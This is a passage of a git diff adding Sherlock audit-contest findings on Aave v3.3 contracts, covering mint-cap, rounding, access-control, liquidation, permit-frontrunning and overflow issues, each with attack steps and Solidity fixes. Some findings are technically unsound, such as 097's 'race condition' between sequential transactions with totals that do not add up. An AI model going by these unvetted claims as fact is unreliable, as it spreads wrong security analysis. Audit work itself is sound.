high decimal precision (e.g., 18 decimals) supported under Isolation Mode. + +2. **Repeated Small Borrows:** + - The attacker initiates numerous borrow transactions, each with an amount just below the threshold where `params.amount / 10^16` results in a truncated value of `0`. + - Example: Borrowing amounts like `9.9e15`, which, when divided by `10^16`, yield `0`. + +3. **Accumulated Debt:** + - Each transaction increases the actual debt owed by the attacker but fails to reflect accurately in `isolationModeTotalDebt`. + - Over time, the attacker’s total debt significantly surpasses the intended ceiling without triggering protocol safeguards. + +4. **Exploitation Outcome:** + - The attacker maintains a highly leveraged position beyond risk limits, exposing the protocol to substantial bad debt and potential liquidity issues. + + +### Mitigation Recommendations + +**Adjust Debt Calculation Precision:** + - **Rounding Up:** Modify the division operation to round up any fractional results, ensuring that even minimal borrows increment `isolationModeTotalDebt`. +--- + diff --git a/097.md b/097.md new file mode 100644 index 0000000..bad7166 --- /dev/null +++ b/097.md @@ -0,0 +1,92 @@ +Fast Steel Cormorant + +Medium + +# Unbacked Token Over-Minting via Race Condition in `BridgeLogic::executeMintUnbacked` + +### Summary + +The `executeMintUnbacked` function within the `BridgeLogic` contract of Aave v3.3 is vulnerable to a race condition that permits the minting of `unbacked` tokens beyond the established `unbackedMintCap`. This flaw arises from the sequence in which the `reserve.unbacked` value is incremented before validating against the minting cap, allowing attackers to exploit simultaneous transactions to bypass intended restrictions. + +### Vulnerability details + +The vulnerability is rooted in the improper ordering of state mutation and validation within the `executeMintUnbacked` function. The critical code segments are as follows: + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BridgeLogic.sol#L57-L108 + +1. **State Mutation Before Validation:** The `reserve.unbacked` is incremented with the `amount` **prior** to checking if this new value exceeds the `unbackedMintCap`. This allows multiple transactions to pass the cap check based on the initial state before any increments from concurrent transactions are considered. + +2. **Lack of Atomicity:** Solidity's EVM executes transactions sequentially, but without proper atomic checks or reentrancy guards, rapid succession of transactions can still manipulate state in unintended ways, especially under high network load or in specialized environments. + +### Impact + +- **Consequences:** + - **Unbacked Token Inflation:** Attackers can mint more `unbacked` tokens than the protocol allows, diluting the value of tokens and undermining collateral integrity. + - **Liquidity Drain:** Excessively minted `unbacked` tokens, when backed, can lead to disproportionate issuance of `aTokens`, allowing attackers to withdraw more liquidity than intended. + - **Financial Instability:** The protocol may incur significant losses due to the over-issuance of tokens, leading to potential insolvency or the need for emergency interventions. + +### Attack Logic + +1. **Monitoring Network State:** + - The attacker observes the state of `reserve.unbacked`, particularly as it approaches the `unbackedMintCap`. + +2. **Crafting Multiple Mint Transactions:** + - The attacker prepares several minting transactions, each with an `amount` that individually does not exceed the cap but cumulatively does. + +3. **Simultaneous Submission:** + - Submit all crafted transactions in rapid succession, aiming for them to be mined within the same block or in quick succession where state mutations overlap. + +4. **Exploiting the Race Condition:** + - **Transaction 1 (Tx1):** + - Increments `reserve.unbacked` from 950,000 to 980,000. + - Passes the cap check (`980,000 <= 1,000,000`). + - **Transaction 2 (Tx2):** + - Independently reads `reserve.unbacked` as 950,000 (before Tx1's mutation). + - Increments to 990,000. + - Passes the cap check (`990,000 <= 1,000,000`). + - **Transaction 3 (Tx3):** + - Independently reads `reserve.unbacked` as 950,000. + - Increments to 970,000. + - Passes the cap check (`970,000 <= 1,000,000`). + +5. **Resulting State:** + - After all transactions, `reserve.unbacked` is erroneously set to 1,070,000, surpassing the `unbackedMintCap` of 1,000,000. + +6. **Backing Excess Tokens:** + - The attacker calls `executeBackUnbacked` to back the inflated `unbacked` tokens, receiving more `aTokens` than justified, thereby draining protocol liquidity. + +### Mitigation Recommendations + +1. **Reordering Operations:** + - **Validation Before Mutation:** Ensure that the cap check occurs **before** updating `reserve.unbacked`. + ```diff + function executeMintUnbacked( + // parameters... + ) external { + DataTypes.ReserveData storage reserve = reservesData[asset]; + DataTypes.ReserveCache memory reserveCache = reserve.cache(); + + reserve.updateState(reserveCache); + + ValidationLogic.validateSupply(reserveCache, reserve, amount, onBehalfOf); + + uint256 unbackedMintCap = reserveCache.reserveConfiguration.getUnbackedMintCap(); + uint256 reserveDecimals = reserveCache.reserveConfiguration.getDecimals(); + + + uint256 currentUnbacked = reserve.unbacked; + + require( + + currentUnbacked + amount <= unbackedMintCap * (10 ** reserveDecimals), + + Errors.UNBACKED_MINT_CAP_EXCEEDED + + ); + + reserve.unbacked = currentUnbacked + amount.toUint128(); + + - uint256 unbacked = reserve.unbacked += amount.toUint128(); + require( + unbacked <= unbackedMintCap * (10 ** reserveDecimals), + Errors.UNBACKED_MINT_CAP_EXCEEDED + ); + + // Rest of the function... + } + ``` + diff --git a/098.md b/098.md new file mode 100644 index 0000000..4eea0c2 --- /dev/null +++ b/098.md @@ -0,0 +1,97 @@ +Curved Inky Ram + +Medium + +# Mismatch Between aToken Supply and Reserve Liquidity During Repayment with aTokens + +### Summary + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L154C3-L235C2 + +In Aave's protocol, an essential invariant ensures that at any point in time: +Total aToken Supply = Reserve Liquidity * Liquidity Index + +This relationship is crucial because it guarantees that interest calculations, liquidity metrics, and other protocol mechanisms function correctly. It relies on the assumption that each aToken in circulation is backed by an equivalent amount of the underlying asset in the reserve, adjusted by the liquidity index to account for accrued interest. + +The core issue stems from the fact that when repaying with aTokens, the underlying assets corresponding to the burned aTokens remain in the reserve, but the reserve's internal accounting does not reflect the decrease in liabilities (the aToken supply). The reserve effectively shows an inflated liquidity position compared to the outstanding aTokens, disrupting the balance required for accurate interest calculations. + +### Root Cause + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L154C3-L235C2 + + +The executeRepay function handles the logic when a user repays their debt. Users have the option to repay their debt using either the underlying asset or their aTokens. When they choose to repay using aTokens (useATokens is true), the protocol burns their aTokens to reduce their debt. However, during this process, the reserve's liquidity is not adjusted accordingly. + + +When useATokens is true, the user's aTokens are burned: + + + if (params.useATokens) { + IAToken(reserveCache.aTokenAddress).burn( + msg.sender, + reserveCache.aTokenAddress, + paybackAmount, + reserveCache.nextLiquidityIndex + ); +This reduces the total supply of aTokens by paybackAmount. + +However, the reserve's liquidity is not decreased correspondingly. In fact, the call to updateInterestRatesAndVirtualBalance passes amountToAdd as 0: + + + reserveCache.nextScaledVariableDebt = IVariableDebtToken(reserveCache.variableDebtTokenAddress) + .burn(params.onBehalfOf, paybackAmount, reserveCache.nextVariableBorrowIndex); + + + reserve.updateInterestRatesAndVirtualBalance( + reserveCache, + params.asset, + params.useATokens ? 0 : paybackAmount, + 0 + ); +Since params.useATokens is true, amountToAdd is 0, meaning the reserve's liquidity remains unchanged. + +The total aToken supply decreases by paybackAmount due to the burning of aTokens. +The reserve's liquidity remains the same because amountToAdd is 0, and there is no adjustment to reflect the repayment. + + +The invariant expects that the total aToken supply should match the reserve's liquidity (adjusted by the liquidity index). +With the aToken supply decreasing and the reserve's liquidity remaining constant, this property is violated. + + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L154C3-L235C2 + +Interest rates and liquidity indices depend on the accurate tracking of both the total aToken supply and the reserve's liquidity. +With the mismatch, interest accruals will be miscalculated, leading to incorrect accruals of interest for both lenders and borrowers. + +Honest users will suffer losses due to inaccurate interest charges or unexpected liquidations. + +### PoC + +_No response_ + +### Mitigation + +Modify the updateInterestRatesAndVirtualBalance call to reflect the decrease in liquidity: + +reserve.updateInterestRatesAndVirtualBalance( + reserveCache, + params.asset, + params.useATokens ? paybackAmount : paybackAmount, + 0 +); +By setting amountToAdd to paybackAmount even when useATokens is true, we acknowledge that the reserve's liquidity decreases by the repaid amount. diff --git a/099.md b/099.md new file mode 100644 index 0000000..69c1c59 --- /dev/null +++ b/099.md @@ -0,0 +1,97 @@ +Curved Inky Ram + +Medium + +# missing access control check in the validateSetUseReserveAsCollateral function + +### Summary + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L621C3-L641C4 + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L316C3-L325C4 + +The protocol aims to restrict the activation of isolated assets as collateral to authorized users only—specifically, those with the ISOLATED_COLLATERAL_SUPPLIER_ROLE. However, due to a missing access control check in the validateSetUseReserveAsCollateral function, any user can explicitly enable an isolated asset as collateral + +### Root Cause + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L621C3-L641C4 + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ValidationLogic.sol#L316C3-L325C4 + +Only authorized users with the ISOLATED_COLLATERAL_SUPPLIER_ROLE can enable isolated assets (assets with a debt ceiling) as collateral. + +This invariant ensures that the protocol maintains proper risk management for isolated assets. By restricting who can activate such assets as collateral, the protocol can prevent unintended exposure and maintain the effectiveness of isolation mode constraints. + + +function validateAutomaticUseAsCollateral( + mapping(address => DataTypes.ReserveData) storage reservesData, + mapping(uint256 => address) storage reservesList, + DataTypes.UserConfigurationMap storage userConfig, + DataTypes.ReserveConfigurationMap memory reserveConfig, + address aTokenAddress +) internal view returns (bool) { + if (reserveConfig.getDebtCeiling() != 0) { + // Ensures only the ISOLATED_COLLATERAL_SUPPLIER_ROLE can enable collateral as side-effect of an action + IPoolAddressesProvider addressesProvider = IncentivizedERC20(aTokenAddress) + .POOL() + .ADDRESSES_PROVIDER(); + if ( + !IAccessControl(addressesProvider.getACLManager()).hasRole( + ISOLATED_COLLATERAL_SUPPLIER_ROLE, + msg.sender + ) + ) return false; + } + return validateUseAsCollateral(reservesData, reservesList, userConfig, reserveConfig); +} + +Checks if the asset has a debt ceiling (i.e., it's an isolated asset). +If it does, it ensures that only users with the ISOLATED_COLLATERAL_SUPPLIER_ROLE can automatically use the asset as collateral (e.g., during supply or transfer operations). + + + +function validateSetUseReserveAsCollateral( + DataTypes.ReserveCache memory reserveCache, + uint256 userBalance +) internal pure { + require(userBalance != 0, Errors.UNDERLYING_BALANCE_ZERO); + + (bool isActive, , , bool isPaused) = reserveCache.reserveConfiguration.getFlags(); + require(isActive, Errors.RESERVE_INACTIVE); + require(!isPaused, Errors.RESERVE_PAUSED); +} + +Validates general conditions for setting an asset as collateral. +Does not check whether the asset is isolated or whether the user has the ISOLATED_COLLATERAL_SUPPLIER_ROLE. + +The problem arises because while automatic collateral activation is restricted for isolated assets, explicit collateral activation by the user is not. This means that a user can call the setUserUseReserveAsCollateral function and, through validateSetUseReserveAsCollateral, enable an isolated asset as collateral without possessing the necessary role. + +Users can explicitly enable an asset as collateral by calling the setUserUseReserveAsCollateral function. +This function invokes validateSetUseReserveAsCollateral, which lacks any access control checks related to isolated assets. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +Access control is only enforced during automatic collateral activation (validateAutomaticUseAsCollateral). +Explicit collateral activation (validateSetUseReserveAsCollateral) lacks the necessary checks. + +### Impact + +Any user can enable isolated assets as collateral, bypassing the intended role-based access control. + +### PoC + +_No response_ + +### Mitigation + +Enforce Access Control in validateSetUseReserveAsCollateral + +Modify the validateSetUseReserveAsCollateral function to include the same access control checks as validateAutomaticUseAsCollateral for isolated assets. \ No newline at end of file diff --git a/100.md b/100.md new file mode 100644 index 0000000..d299750 --- /dev/null +++ b/100.md @@ -0,0 +1,71 @@ +Quaint Cyan Porcupine + +High + +# Liquidator can repay dust debt to fully liquidate user + +### Summary + +With new changes in Aave V3, if user's position is underwater, he can be liquidated for 100% of his debt if any of these conditions are met: +- User's total collateral value is less than MIN_THRESHOLD +- User's total debt value is less than MIN_THRESHOLD +- User's health factor is less than 0.95 + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L284 + +If we look closely, we find 2nd point can be manipulated by anyone as Aave enables repaying loan on someone's behalf. This creates unintended incentive for a liquidator to check if it is possible to repay some debt of this position and then liquidate full debt of this position and thus earning higher profit. + +Let's look at an example: + +#### Initial Position +Total Collateral Value: 2420 +Total Debt Value: 2050 +LTV: 82.5 +Health Ratio: 0.973 + +This position if liquidated: +Debt repaid = 1025 +Collateral seized(Penalty as 15%) = 1178.75 +Profit = 1178.75 - 1025 = 153.75 + +#### Liquidator repays $51 worth of user's debt +Total Collateral Value: 2420 +Total Debt Value: 1999 +LTV: 82.5 +Health Ratio: 0.9987 + +This position is liquidated: +Debt repaid = 1999 +Collateral seized(Penalty as 15%) = 2298.85 +Profit = 2298.85 - 1999 - 51 = 248.85 + +This caused a loss of 248.85-153.75 = $95 to end user, which is enough incentive for a liquidator to repay some portion to extract out more profit. + + +### Root Cause + +_No response_ + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +If someone else is repaying loan on user's behalf, add a check that remaining debt is not less than MIN_THRESHOLD. This should prevent any such case. diff --git a/101.md b/101.md new file mode 100644 index 0000000..3fd50a1 --- /dev/null +++ b/101.md @@ -0,0 +1,64 @@ +Rough Hotpink Wallaby + +High + +# Incorrect parameter in `Pool::eliminateReserveDeficit` function + +### Summary + +An incorrect parameter in the `Pool::eliminateReserveDeficit` function leads to a failed verification in `LiquidationLogic.executeEliminateDeficit`. + +### Root Cause + +In [Pool.sol#L847](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/pool/Pool.sol#L847), the `_usersConfig` parameter uses `msg.sender`, which refers to an umbrella contract address. + +In contrast, the verification logic in `LiquidationLogic.executeEliminateDeficit` checks `_usersConfig` as follows: + +```solidity +function executeEliminateDeficit( + mapping(address => DataTypes.ReserveData) storage reservesData, + DataTypes.UserConfigurationMap storage userConfig, + DataTypes.ExecuteEliminateDeficitParams memory params +) external { + require(!userConfig.isBorrowingAny(), Errors.USER_CANNOT_HAVE_DEBT); + + bool isCollateral = userConfig.isUsingAsCollateral(reserve.id); + if (isCollateral && balanceWriteOff == userBalance) { + userConfig.setUsingAsCollateral(reserve.id, false); + emit ReserveUsedAsCollateralDisabled(params.asset, msg.sender); + } +} +``` + +As a result, the verification checks the address of the umbrella contract instead of the user's address. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The verification in `LiquidationLogic.executeEliminateDeficit` results in incorrect behavior. + +### PoC + +_No response_ + +### Mitigation +```solidity +function eliminateReserveDeficit(address user, address asset, uint256 amount) external override onlyUmbrella { + LiquidationLogic.executeEliminateDeficit( + _reserves, ++ _usersConfig[user], + DataTypes.ExecuteEliminateDeficitParams({asset: asset, amount: amount}) + ); + } +``` \ No newline at end of file diff --git a/102.md b/102.md new file mode 100644 index 0000000..0732f42 --- /dev/null +++ b/102.md @@ -0,0 +1,95 @@ +Lucky Punch Ferret + +Medium + +# rounding when calculating debtneeded causes loss for the protocol + +### Summary + +DebtNeeded rounds down the calculation when collateral to liquidate exceeds user's balance. + +When calculating the debt, if the collateral to liquidate exceeds the user's balance, the liquidator receives the total collateral balance of the borrower. The debt amount the liquidator will repay is recalculated, but the calculation rounds down the debt repayment amount. This is problematic because after the liquidation, the full collateral will be liquidated while leaving some debt due to the rounding. This remaining debt is directly added to the reserve deficit, causing the protocol to take the loss since it's added to the deficit. + + + When collateral exceeds user balance: + + if (vars.maxCollateralToLiquidate > userCollateralBalance) { + vars.collateralAmount = userCollateralBalance; + vars.debtAmountNeeded = ((vars.collateralAssetPrice * vars.collateralAmount * debtAssetUnit) / + (debtAssetPrice * collateralAssetUnit)).percentDiv(liquidationBonus); + +The rounding down in this calculation means: +Liquidator pays slightly less debt +Gets full collateral amount +Difference becomes bad debt +Added to reserve deficit +This directly conflicts with protocol goals: +Avoiding dust/bad debt buildup +Preventing loss of funds caused by liquidations + + +### Root Cause + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L650-L653 + +### Internal Pre-conditions + +collateral exceeds borrowers balance + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Each liquidation could create small amounts of bad debt +Accumulates over time +Protocol bears the loss + +### PoC + +User has 1 ETH collateral +ETH price: $2000 +USDC price: $1 +Liquidation bonus: 110% + +debtAmountNeeded = ((2000e8 * 1e18 * 1e6) / (1e8 * 1e18)).percentDiv(11000) + +1. 2000e8 * 1e18 = 2000e26 +2. * 1e6 = 2000e32 +3. / 1e8 = 2000e24 +4. / 1e18 = 2000e6 +5. percentDiv(2000e6, 11000): + (2000e6 * 10000) / 11000 = 1818.181818...e6 + Rounds down to 1818e6 USDC + + +Result: + +Liquidator pays: 1,818 USDC +Gets: 1 ETH worth 2,000 USD +Protocol loss: 0.181818... USDC per liquidation + +Impact at scale: +100 such liquidations = 18.18 USDC loss +1000 liquidations = 181.81 USDC loss + +loss per liquidation for the protocol + +Expected repayment = 1818.181818... USDC +Actual repayment = 1818.000000 USDC +Loss = 0.181818... USDC + +Loss percentage calculation: +(0.181818... / 1818.181818...) * 100 += 0.0001 * 100 += 0.01% +this makes this issue valid according to sherlock rules + +### Mitigation + +round up when calculating the debtamount \ No newline at end of file diff --git a/103.md b/103.md new file mode 100644 index 0000000..bb9f274 --- /dev/null +++ b/103.md @@ -0,0 +1,60 @@ +Chilly Lavender Pigeon + +Medium + +# DoS when user want to supply / repay asset using a permit + +### Summary + +The Asset ERC20 token of the Pool contract incorporates the [[EIP-2612 permit](https://eips.ethereum.org/EIPS/eip-2612)](https://eips.ethereum.org/EIPS/eip-2612), allowing users to off-chain sign permits for gas-less transfers. However, the open Zeppelin's design choice introduces a frontrunning risk, where any entity can execute the `permit()` function before the original transaction, causing potential issues, especially when used within other functions. + +### Root Cause + +These functions [supplyWithPermit()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/pool/Pool.sol#L165) and [repayWithPermit()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/pool/Pool.sol#L274) in a `Pool.sol` contract on callable by user for supply collateralls or repay. + +An malicious user can extract the `permitV - permitR - permitS` parameters from the functions call and frontruns it with a direct permit() in `asset` token. In this case, the end result is harmful, since the user loses the functionality that follows the `permit()`. + +In fact, any function call that unconditionally performs `permit()` can be forced to revert this way. In case there is a fallback code path (using direct user approval), the `DOS` is short-term, as eventually the user / dApp would switch to using an alternative. Otherwise, the `DOS` is long-term. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +1. Alice sign the tx off-chain and submit it to perform `supplyWithPermit` or `repayWithPermit` +2. While the Alice tx is in mempool, Bob `(Attacker)` can see it, frontrun it, and execute `permit` directly on the underlying token with all the message and signature details of Alice. +3. Alice's tx now executes after Bob's tx and it will get reverted as the signature is already used. + + +### Impact + +This would cause the user to lose money for sending the transaction, but later with a new signature, the user would be able to call the function once again to complete it. In this instance, the attacker damaged the user by requiring them to send another transaction. The attacker does not profit, but they do damage the users or the protocol. + +### PoC + +_No response_ + +### Mitigation + +In `supplyWithPermit()` and `repayWithPermit()` functions, check if it has the approval it needs. If not, then only submit the permit signature: + +```solidity +if (IERC20(address(asset)).allowance(msg.sender,address(this)) < amount) { + try + IERC20WithPermit(asset).permit( + msg.sender, + address(this), + amount, + deadline, + permitV, + permitR, + permitS + ) + {} catch {} + } +``` diff --git a/104.md b/104.md new file mode 100644 index 0000000..c057572 --- /dev/null +++ b/104.md @@ -0,0 +1,90 @@ +Chilly Lavender Pigeon + +Medium + +# Overflow probability when minting new tokens in BridgeLogic + +### Summary + +Using the BridgeLogic contract to implement the minting of new tokens can result in an overflow due to a casting and storing the result in the storage variable. + +### Root Cause + +First of all, let's take a look on the [executeMintUnbacked()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BridgeLogic.sol#L57) function: + +```solidity + function executeMintUnbacked( + mapping(address => DataTypes.ReserveData) storage reservesData, + mapping(uint256 => address) storage reservesList, + DataTypes.UserConfigurationMap storage userConfig, + address asset, + uint256 amount, + address onBehalfOf, + uint16 referralCode + ) external { + DataTypes.ReserveData storage reserve = reservesData[asset]; + DataTypes.ReserveCache memory reserveCache = reserve.cache(); + + reserve.updateState(reserveCache); + + ValidationLogic.validateSupply(reserveCache, reserve, amount, onBehalfOf); + + uint256 unbackedMintCap = reserveCache.reserveConfiguration.getUnbackedMintCap(); + uint256 reserveDecimals = reserveCache.reserveConfiguration.getDecimals(); + +@> uint256 unbacked = reserve.unbacked += amount.toUint128(); + + require( + unbacked <= unbackedMintCap * (10 ** reserveDecimals), + Errors.UNBACKED_MINT_CAP_EXCEEDED + ); + + reserve.updateInterestRatesAndVirtualBalance(reserveCache, asset, 0, 0); + + ... + } +``` + +Here we get the information about reserve and cashe, update cash and calculating the `unbacked` value; + +If we take a look on the [unbacked](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/types/DataTypes.sol#L73) variable in the DataTypes, we'll see that it is type of `uint128`. + +So on the line: + +`uint256 unbacked = reserve.unbacked += amount.toUint128();` + +firstly the STORAGE variable of `reserve.unbacked` will be updated in a math operation and later saved in the `uint256 unbacked` variable. + +Casting `amount.toUint128()` will not save it from overflow, as this line can be interpreted: + +`uint256 = storage uint128 = uint128 + uint128;` + +As can be seen from the contract code, this variable should be later checked against the uint256 value, so the team assumed there will no problem. + +But the overflow can still happen if any of the uint128 will be close to the max possible value. + +So the function will revert and bridging token process will fail. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Users will not be able to bridge and mint new tokens because of overflow. + +### PoC + +_No response_ + +### Mitigation + +As it assumed to be saved in a local uint256 variable, it is recommended to save a storage variable in a new local variable and cast the result of math operation. diff --git a/105.md b/105.md new file mode 100644 index 0000000..0e0c844 --- /dev/null +++ b/105.md @@ -0,0 +1,65 @@ +Chilly Lavender Pigeon + +High + +# Overflow probability when users want to borrow assets in active isolation mode + +### Summary + +Users can borrow the assets from the protocol with two modes of isolation: active and inactive. If it is in an active mode the total debt will be updated, and there is a possibility of overflow. + +### Root Cause + +If we take a look on the [executeBorrow()](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L60) we'll see the the borrow logic execution. Here is a [part](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L109) of the code responsible for checking and updating if the isolation mode is active: + +```solidity + if (isolationModeActive) { + uint256 nextIsolationModeTotalDebt = reservesData[isolationModeCollateralAddress] + .isolationModeTotalDebt += (params.amount / + 10 ** + (reserveCache.reserveConfiguration.getDecimals() - + ReserveConfiguration.DEBT_CEILING_DECIMALS)).toUint128(); + emit IsolationModeTotalDebtUpdated( + isolationModeCollateralAddress, + nextIsolationModeTotalDebt + ); + } +``` + +So it will get the current `isolationModeTotalDebt` and sum it with the (`amount` \ `deciamls`). + +The problem liyes in the casting and storage variable update. + +`reservesData[isolationModeCollateralAddress].isolationModeTotalDebt` is a type of `uint128` as we can see in the [DataTypes](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/types/DataTypes.sol#L75) contract. + +`params.amount` is a type of `uint256`. + +There may be a case where the result of `amount \ decimal' will still be more than type `uint128'. And the math operation will be: + +`uint256 = STORAGE uint128 = uint128 + uint256` + +As it is first stored in the storage variable, an overflow may occur and the function will be reversed. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Users will not be able to borrow assets with active isolation mode. + +### PoC + +_No response_ + +### Mitigation + +The whole math operation should be casted to the type of uint128. diff --git a/106.md b/106.md new file mode 100644 index 0000000..2bc0a4b --- /dev/null +++ b/106.md @@ -0,0 +1,100 @@ +Sneaky Gauze Quail + +Medium + +# Potential Denial of Service (DoS) Risk Due to Large Loop Iterations in getAllReservesTokens() and getAllATokens() Functions + +### Summary + +The functions `getAllReservesTokens()` and `getAllATokens()` are vulnerable to a Denial of Service (DoS) attack when the reserve list (`reserves.length`) is large. Both functions loop over the entire list of reserves, performing external calls inside the loop, which can lead to high gas consumption. This could cause the transaction to fail due to exceeding the block gas limit, especially if the protocol has a large number of reserves. + +`getAllReservesTokens()`: This function iterates through all reserves and makes an external call to fetch the token symbol for each reserve. +`getAllATokens()`: Similar to the above, this function iterates through all reserves and makes external calls to fetch the associated aToken symbol. +Both of these functions are susceptible to gas limit issues if the reserve list becomes large, and they may fail to execute under such conditions. + +### Root Cause + +In both functions, the following code performs external calls inside a loop, which is inefficient for large lists: +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/AaveProtocolDataProvider.sol#L39-L73 + +```Solidity + /// @inheritdoc IPoolDataProvider + function getAllReservesTokens() external view override returns (TokenData[] memory) { + IPool pool = IPool(ADDRESSES_PROVIDER.getPool()); + address[] memory reserves = pool.getReservesList(); + TokenData[] memory reservesTokens = new TokenData[](reserves.length); + for (uint256 i = 0; i < reserves.length; i++) { + if (reserves[i] == MKR) { + reservesTokens[i] = TokenData({symbol: 'MKR', tokenAddress: reserves[i]}); + continue; + } + if (reserves[i] == ETH) { + reservesTokens[i] = TokenData({symbol: 'ETH', tokenAddress: reserves[i]}); + continue; + } + reservesTokens[i] = TokenData({ + symbol: IERC20Detailed(reserves[i]).symbol(), + tokenAddress: reserves[i] + }); + } + return reservesTokens; + } + + /// @inheritdoc IPoolDataProvider + function getAllATokens() external view override returns (TokenData[] memory) { + IPool pool = IPool(ADDRESSES_PROVIDER.getPool()); + address[] memory reserves = pool.getReservesList(); + TokenData[] memory aTokens = new TokenData[](reserves.length); + for (uint256 i = 0; i < reserves.length; i++) { + address aTokenAddress = pool.getReserveAToken(reserves[i]); + aTokens[i] = TokenData({ + symbol: IERC20Detailed(aTokenAddress).symbol(), + tokenAddress: aTokenAddress + }); + } + return aTokens; + } + +``` + + + +In both functions: + +The loop iterates over all reserves (reserves.length), which can grow significantly. +External calls (IERC20Detailed(reserves[i]).symbol() and IERC20Detailed(aTokenAddress).symbol()) inside the loop consume significant gas, and if the list of reserves is large, this could exceed the block gas limit. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +If the number of reserves increases, the gas consumption of these functions will grow linearly with the number of reserves. This could cause the transaction to exceed the block gas limit, leading to failed transactions. Even without malicious actors, these functions will become inefficient as the number of reserves grows, making them impractical for large protocols. + +### PoC + +_No response_ + +### Mitigation + +To mitigate the DoS risks and improve scalability: + +Limit the Number of Reserves: + +Introduce a maximum number of reserves that can be fetched in a single transaction. If the reserve list exceeds this limit, return an error: +Ex: +```Solidity +uint256 maxReserves = 100; // Example threshold +if (reserves.length > maxReserves) { + revert("Too many reserves"); +} +``` \ No newline at end of file diff --git a/107.md b/107.md new file mode 100644 index 0000000..1589cff --- /dev/null +++ b/107.md @@ -0,0 +1,90 @@ +Eager Shadow Lobster + +Medium + +# WrappedTokenGatewayV3 will force users into variable-rate debt positions for ETH, causing financial losses for borrowers + +medium + +# WrappedTokenGatewayV3 will force users into variable-rate debt positions for ETH, causing financial losses for borrowers + +### Summary + +The hardcoded InterestRateMode.VARIABLE in WrappedTokenGatewayV3’s repayETH and borrowETH functions will cause a loss of financial flexibility for ETH borrowers. Users are forced into variable-rate debt even when stable rates are preferable, leading to higher interest costs or liquidation risks. + +> Aave Protocol Design : Aave V3 Technical Paper explicitly states that users can choose between stable and variable rates + +Conceptual Mistake: The choice to hardcode VARIABLE is a mistake because it violates Aave’s core design, which allows users to choose between stable and variable rates. This forces users into suboptimal debt strategies. + +Affected Party: ETH borrowers using the gateway. +Actor: Users interacting with WrappedTokenGatewayV3. +Attack Path: Users cannot repay or borrow ETH in stable-rate mode via the gateway, forcing them into variable-rate positions that may become unsustainable. + +### Root Cause + +In [WrappedTokenGatewayV3.sol:88](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L88) The repayETH function hardcodes InterestRateMode.VARIABLE, ignoring stable-rate debt : + +```solidity +POOL.repay(..., uint256(DataTypes.InterestRateMode.VARIABLE), ...); +``` + +In [WrappedTokenGatewayV3.sol:105](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L105) The borrowETH function hardcodes InterestRateMode.VARIABLE : + +```solidity +POOL.borrow(..., uint256(DataTypes.InterestRateMode.VARIABLE), ...); +``` + + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +1- User borrows ETH via borrowETH: +The gateway forces the user into variable-rate debt, even if stable rates are cheaper. + +2- User attempts to repay stable-rate debt via repayETH: +The gateway only repays variable-rate debt, leaving stable-rate debt untouched. + +3- Stable-rate debt accrues interest: +The user’s stable-rate debt remains 